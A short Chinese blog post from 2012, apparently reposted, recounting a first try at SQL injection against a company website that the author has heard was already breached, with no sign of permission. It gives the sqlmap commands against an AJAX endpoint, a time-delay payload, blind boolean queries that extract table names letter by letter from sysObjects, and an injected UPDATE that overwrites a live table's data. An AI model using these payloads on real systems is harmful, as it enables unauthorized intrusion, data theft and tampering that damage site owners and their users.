您的位置:首页 > 数据库

sql注入初试:找到可注入的地方,获得数据库信息,修改数据库

2012-11-02 10:35 253 查看
首先,听说某公司的网站被注入了,我也来试试。

该网站是.net的。但url本应该是.aspx?a=a&b=b。但是好像被rewrite过了,显示.com/che_a~b/。这个不好办。

先查看页面源码,发现里面有很多ajax异步获取更新信息的,并且url未rewrite。找了一个拼好“http://abc.com/ajax/cc.aspx?a=a&b=b”。

找到D盘下的python.exe。

cmd

cd python27

Python sqlmapproject-sqlmap-0.9-1906-g6bc5f44\sqlmapproject-sqlmap-6bc5f44\sqlmap.py -u
http://abc.com/ajax/cc.aspx?a=a&b=b

结果显示a不可以注入,b可以注入。并显示数据库为sql server 2008。没想到这么容易。

并且看到注入的方法:http://abc.com/ajax/cc.aspx?a=a&b=b') WAITFOR DELAY '0:0:5';

让改sql延迟5秒。

再执行

Python sqlmapproject-sqlmap-0.9-1906-g6bc5f44\sqlmapproject-sqlmap-6bc5f44\sqlmap.py -u
http://abc.com/ajax/cc.aspx?a=a&b=b --current-db

来看数据库信息。

得到了几个数据库的名字,还有很多表名。不过执行了很久。

简单分析一下怎么查找表名。

SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>97--

SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

得出改表的表名的第一个字母的ascii值不大于103,并且不小于103,那个该表的表名的第一个字母的ascii值为103,也就是字母“g”。

用这个方法找出第二个第三个一直到最后一个字母。

得到表名和字段名后,我们试着修改一条表信息。

http://abc.com/ajax/cc.aspx?a=a&b=b') update table2 set title = 1;--放到浏览器地址栏,然后回车。

发现title被改为1了,注入成功。

后来用firefox的firebug伪造了一个表单,并且注入成功。

初试sql注入成功。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: